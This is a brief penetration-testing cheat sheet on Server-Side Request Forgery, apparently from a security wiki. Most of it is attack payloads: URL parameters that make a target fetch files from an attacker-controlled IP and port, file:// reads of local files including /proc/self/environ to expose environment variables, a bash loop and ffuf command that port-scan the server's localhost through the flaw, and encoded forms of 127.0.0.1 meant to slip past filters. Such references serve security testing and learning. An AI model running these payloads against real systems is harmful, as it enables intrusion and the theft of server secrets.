SSRF

Server-Side Request Forgery.

It occurs when an application accepts input from the user (URL, GET, POST, HEADER, PARAMETER, etc.), which is not properly verified, to make HTTP requests to another internal or external resource.

Types: In-Band and Blind.

Payload

URL validation bypassarrow-up-right

Remote files

http://<TARGET>/load?q=http://<IP>:<PORT>

Local files

http://<TARGET>/load?q=file://<ABSOLUTE_PATH>
http://<TARGET>/load?q=file:///proc/self/environ  # environment variables, like pwd

Port Scanning

for port in {1..65535};do echo $port >> ports.txt; done
curl -i -s "http://<TARGET_IP>/load?q=http://127.0.0.1:1”
# recovery length closed door
ffuf -w ./ports.txt:PORT -u "http://<TARGET_IP>/load?q=http://127.0.0.1:PORT" -fs 30

Encoding IP

Abbreviations

127.1

0177.0000.0000.0001 (017700000001)

HTTP Redirection

Server Redirection

DNS Rebinding

Set up a DNS server that performs constant switching between two IPs. Use Rebinderarrow-up-right, set up the two ip's for continuous switching, get the domain to use.

Inconsistencies on URL Parser

A New Era of SSRF - Black Hat USA 2017arrow-up-right

Last updated